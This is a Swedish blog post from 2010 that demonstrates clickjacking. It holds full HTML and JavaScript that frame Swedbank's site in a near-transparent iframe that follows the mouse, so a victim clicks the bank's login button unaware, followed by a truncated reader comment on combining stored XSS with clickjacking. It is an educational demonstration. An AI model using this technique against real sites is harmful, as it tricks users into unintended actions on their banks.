måndag 14 juni 2010

Clickjacking-exempel

Efter att ha läst RSnakes blogginlägg idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.

Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:


Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head>
<title>Clickjacking</title>
</head>

<body>
<h1>Clickjacking</h1>

<img src="http://owasp.se/owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg">

<button type="button">Logga in</button>

<script type="text/javascript">
// Skapa en iframe som ska dölja det
// vi vill att offret ska klicka på
a = document.body.appendChild(document.createElement("iframe"));
a.d = a.contentDocument;
a.d.open().close();
a.style.width = 85;
a.style.height = 30;
// Skapa en iframe som ramar in det
// vi vill att offret klickar på
i = a.d.createElement("iframe");
a.style.border = i.style.border = 0;
a.style.marginwidth = i.style.marginwidth = 0;
a.style.marginheight = i.style.marginheight = 0;
a.style.frameborder = i.style.frameborder = 1;
a.style.position = i.style.position = "absolute";
a.style.overflow = i.style.overflow = "hidden";
// Gör den döljande iframe:en nästan
// ogenomskinlig för att tydliggöra exemplet
a.style.opacity = .2;
// Vårt exempel riktar sig mot Swedbank men
// skulle lika gärna kunna vara en annan sida
i.src = "http://www.swedbank.se/";
i.style.width = 815;
i.style.height = 30;
i.style.left = -735;
i.style.top = 0;
i.style.marginwidth = 0;
i.style.marginheight = 0;
i.style.frameborder = 1;
// Lägg till Swedbank-iframe:en till
// den döljande iframe:en
a.d.body.appendChild(i);
// Skapa en funktion som låter den
// döljande iframe:en följa muspekaren
function followmouse(e) {
xcoord = ycoord = 40;
xcoord += e.pageX - 50;
ycoord += e.pageY - 50;
a.style.left = xcoord;
a.style.top = ycoord;
}
// Följ muspekaren med den döljande
// iframe:en
document.onmousemove=followmouse;
</script>

</body> </html>

1 kommentar:

Peter Magnusson sa...

Appropå RSnakes inlägg så förstod jag nog inte riktigt poängen; XSS verkar vara den absolut kraftfullaste webattacken, t.ex. kan man via XSS göra XSRF direkt, vilket är mer stabilt och mer kraftfullt än clickjacking. Jag skulle bli väldigt förvånad om det fanns någon webbattack man INTE kunde göra via XSS.

Vet inte riktigt om jag missat något.

Det mest intressanta vore persisterad XSS i en populär webbsida, typ forum-om-X.se, missbrukas i en clickjacking attack mot X.se. Då får man effekten av persistens på en betrodd sida, samtidigt som man kan påverka en annan sida som är XSS & XSRF säker.
Fast det vore naturligtvis intr